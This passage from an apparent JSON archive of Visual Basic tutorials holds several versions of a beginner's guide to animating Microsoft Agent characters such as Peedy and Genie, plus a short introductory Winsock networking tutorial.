server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \n \nInitializing The Character\nTo initialize the character you will need to\ncontact the Agent Server.\n<SCRIPT LANGUAGE = “VBSCRIPT”>\n<!—-\n \nDim Char 'Declare the String Char\n \nSub window_OnLoad 'Window_Onload\nEvent\n \nAgentCtl.Characters.Load\n"Genie", "http://agent.microsoft.com/characters/v2/genie/genie.acf"\n \n‘Create an object with reference to the character on the Microsoft\nserver \n \nset Char= AgentCtl.Characters\n("Genie") 'Set the the Char string to = The\nAgent Cotnrol\nChar.Get "state",\n"Showing" \n‘Get the Showing state animation\nChar.Show 'Show the\nCharacter\n \nEnd Sub\n -->\n \n</SCRIPT>\n \nSending Requests to the\nServer\nYou will need to send requests to the agent\nserver in order to do certain commands.\n \nDim Request\n \nSet Request = Agent1.Characters.Load ("Genie", "http://agent.microsoft.com/characters<a name=\"_Hlt390052700\">/v2/genie/</a>genie.acf")\n'Sets the request<o:p>\n</o:p>\n\n \nIf (Request.Status = 2) then 'Request is in\nQueue \n'Add your code here (you\ncan send text to status bar or something)<o:p>\n</o:p>\n\n \nElse If (Request.Status = 0) then 'Request\nsuccessfully completed\n'Add your code here (you\ncan do something like display the annimation)<o:p>\n</o:p>\n\n \nEnd If\n \n \nShowing Animations\nIf you are using VB script you will need to\nget the animations from a server using the Get method. For example the\nfollowing code will get all the 'Moving' animations which the character needs.\nAgentCtl.Characters\n("Peedy").Get "Animation", "Moving", True \nAfter an animation is loaded you should be\nable to play it in the usual way.\n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nThe agent files can be freely downloaded, but\nyou are never the less bound by the Microsoft EULA (End User License Agreement).\nFor more information go to the URL specified below. The agent files (inlcuding the character\nfiles) are available for download on <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhy don't some functions\n(commands) work on some character files?\nSome versions of character files will\nhave more functions, so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle3_3" function does not work on Robby.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish or\nmay even loop for ever so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \nCan I use Ms Agent in VB 4.0?\nI have got reports that you can use Ms Agent\n1.5 in Visual Basic 4. I am not sure if it will work in VB 4.0 (16 Bit), but it\nshould work in VB 4.0 (32 Bit). \n \nCan I use Ms Agent in Java?\nAs far as I know you can. I saw some Java\ncode on the MSDN site. You may want to check out the site (see below for URL).\n \nWhere can I get more info on\nMs Agent?\nMicrosoft's\nofficial Ms Agent developer page is at - <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \n \nTHE END\nI've worked for a \nlong time to get this tutorial to you so I would really appreciate some feedback and votes!\nYou are free to use the example source code in your applications.\n"},{"WorldId":1,"id":13114,"LineNumber":1,"line":"Winsock for\nBeginners\n \nIntroduction\nThis tutorial will show\nnewcomers to Visual Basic how to use the Winsock ActiveX Control to transfer\ndata across the internet. This tutorial show beginners how to start a Winsock\nconnection, how to send data across a Winsock connection, how to receive data\nusing a Winsock Connection and how to close a Winsock connection.\n \nWhy I wrote this tutorial\nI got asked a few questions\non Winsock so I decided to write a tutorial that would describe the very basics\nof using Winsock. Also I thought that it would help new coders who were trying\nto send data over the net.\n \n \nGetting Started\n1)Start VB and choose\n'Standard EXE'\n2)Now Using the Add\nComponents (Right Click on Toolbar) add the Microsoft Winsock Control\n3)Double Click the New Icon\nthat Appeared on the Toolbar\nNow you will see the control\non the form. You can rename the control but in the code I will call it Winsock1. \n \n \nOpening a\nWinsock Connection\nTo Open a Winsock Connection all you need to\ndo is to type Winsock1.Connect . But there are two values you have to give for\nthe code to work. Remote Host and Remote Port.\nPaste this Into the Form_Load()\n, Command1_Click() or any other Sub\n'<---- The Code Starts\nHere ---->\nWinsock1.Connect , RemHost,\nRemotePort,\n<---- The Code Ends Here\n---->\nRemHost stands for the Remote\nHost you want to connect to. The RemotePort stands for the Remote Port you want\nto connect to.\n \nExample\nWinsock1.Connect , "127.0.0.1" ,\n"100" 'This code example will\nconnect you to your own computer on Port 100 \n \n \nSending Data Using\nWinsock\nSending data using Winsock is\nalso relatively simple. Just use Winsock1.SendData . But this too requires a\nvalue to be given. In plain English - It has to to know what data to send.\n<---- The Code Starts Here\n---->\nWinsock1.SendData(Data)\n<---- The Code Ends Here\n---->\nData stands for the data you\nwant to send.\nExample\nWinsock1.SendData("Test")\n'This code will send the data string\n"Test"\n \nReceiving Data\nUsing Winsock \n \nReceiving data using Winsock\nis relatively more complex than the methods mentioned above. It requires code in\nthree places. It requires code in the Form_Load (or any other section), code in the Winsock1_DataArrival Section\n, and code in the Winsock_ConnectionRequest event. \nStep1 (Placing\nthe code in Form_Load event)\nPlacing this code depends on when you want to start\naccepting data. The best place to put this code is usually in the Form_Load\nevent.\n<---- The Code Starts Here\n---->\nWinsock1.LocalPort =\nPortNumber\nWinsock.Listen\n<---- The Code Ends Here\n---->\nData stands for the data you\nwant to send.\n \nExample\nWinsock1.LocalPort = 1000 'This\nwill set the port number to 1000\nWinsock.Listen 'This\nwill tell Winsock to start listening\n \nStep 2 (Placing\nthe code in Winsock1_DataArrival Section)\nYou will need to\nplace some code in the Winsock1_DataArrival event to tell Winsock what to do\nonce it receives data.\n<---- The Code Starts Here\n---->\nWinsock1.GetData (data)\n MsgBox (data) 'This\nwill show the data in a Message Box\n \n<---- The Code Ends Here\n---->\n \nExample\nDim StrData 'This\ndeclares the data string (can be place in general declarations too)\nWinsock1.GetData StrData 'Tells\nWinsock to get the data from the Port and put it in the data string\n MsgBox SrtData\n'Displays the data in a Message Box\n \nStep 3 (Placing\nthe code in Winsock1_Connection Request Section)\nYou will need to\nplace some code in the Winsock1_ConnectionRequest event to tell Winsock what do\nwhen it receives a connection request.\n<---- The Code Starts Here\n---->\nDim RequestID 'Declare\nthe RequestID String\nIf socket.State <> sckClosed Then \nsocket.Close \nsocket.Accept requestID \nEnd If \n\n<---- The Code Ends Here\n---->\n \nExample\nDim RequestID Declare\nthe RequestID String\nIf socket.State <> sckClosed Then 'If\nWinsock is not closed \nsocket.Close 'Then Close the Connetion \nsocket.Accept requestID Reuquest the ID \nEnd If \n\n \nClosing a Winsock\nConnection\nThis is relatively simple. All you have to\ndo is to type one line of code. This can be place in almost any event on the\nform including Form_Unload , Comman1_Click and so on.\n<---- The Code Starts Here\n---->\nWinsock1.Close 'Closes\nthe Winsock Connection\n \n<---- The Code Ends Here\n---->\n \n \nThe End\nPlease tell me how I can\nimprove this tutorial. If you have any questions or comments please post them\nhere and I will reply to them as soon as I can.\n</body>\n"},{"WorldId":1,"id":13121,"LineNumber":1,"line":" \nHow to use the\nMS Agent Control for Absolute Beginners\n \nIntroduction\nThis tutorial will teach you\nhow to use the MS Agent control. It will show you how to get a character file\nassociated with MS Agent and then how to use it in different ways. Does not\nrequire any previous knowledge of using the control. While this tutorial shows\nyou the inns and outs of using the MS Agent control and the various characters\nthat can be associated with it, it also shows every step in an easy to\nunderstand manner. Although this extensive tutorial covers nearly all the\naspects of using the MS Agent Control, even novice programmers will be able\nto understand this tutorial and use the example code in their own\napplications. \n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nNew In this Version\nIn this version I have added a 'Fun Code'\nsection where you can get some cool code that makes the characters act in\ndifferent ways. I have also updated the 'Customizing the Agent Control' by\ndescribing some new properties you can change. I have also made a few minor\nadjustments to other areas of the tutorial.\nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6. You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the monkey. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \n \nDoing Stuff With\nthe Character\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nCustomizing the\nAgent Control\n \nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\n \nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\n \nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\n \nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \n \n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\n \nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\n \nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nYes, the Agent Character files are freeware\nand can be downloaded from MSDN (Microsoft Developer Network). \n \nWhy don't some functions\n(commands) work on some character files?\nWell the latest version character files will\nhave more functions (Robby the Monkey is the latest I think), so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle2_3" function does not work on Peedy.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \n \nTHE END\nI've worked for a \nlong time to get this tutorial to you so I would really appreciate some feedback and votes!\nYou are free to use the example source code in your applications.\n"},{"WorldId":1,"id":12896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13998,"LineNumber":1,"line":" \nMs Agent\nUnleashed\n \nIntroduction\nThis tutorial covers everything - from\nbuilding your first Ms Agent app, to Using Ms Agent on your website, to using\nthe Office Character files in your apps. Because of popular demand, Speech\nRecognition section added. Also features a section describing making your own\ncharacter files. This tutorial shows you how to do nearly everything\nthe Agent Control can do. \n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nIndex\nGetting Started\n- Provides all the data you need to jump start your Agent application\nDeclaring the Character\nFile - Shows how to declare the\nCharacter file for use in VB\nInitializing the\nCharacter - Shows how to initialize the Character file\nGetting to Know\nThe Different Characters - Familiarize yourself\nwith the different characters\nDisplaying Various\nAnimations - Shows how to get the Character to display\nvarious animations\nUsing Ms Agent With\nVB Script - Shows you how to use Ms Agent with VB Script\nUsing the Office Character\nFiles in Your Ms Agent Apps - Shows how to include\noffice character files in your applications\nSpeech Recognition\n- Shows how to initialize speech recognition \nMaking your Own\nCharacter Files - Describes how to create your\nown character files for use with Ms Agent\nEvents and\nProperties of the Agent Control - Describes the Events and\nProperties of the Agent Control\nFun Agent Code to Add to\nyour Applications - Gives some cool code which makes the Character\ndo some fun things\nExamples of\nHow you can use the Agent Control - Gives some ideas as to\nhow you can use the Agent Control\nCool Web Links\n- Links to the best Ms Agent resource sites on the web\nFrequently Asked\nQuestions - Various related questions and answers.\n \n<hr>\n \nGetting Started\nIn a nutshell, Ms Agent is an ActiveX\ncontrol, created by Microsoft that lets you add a user friendly touch to your\napps via the use of animated characters.\nIn order to 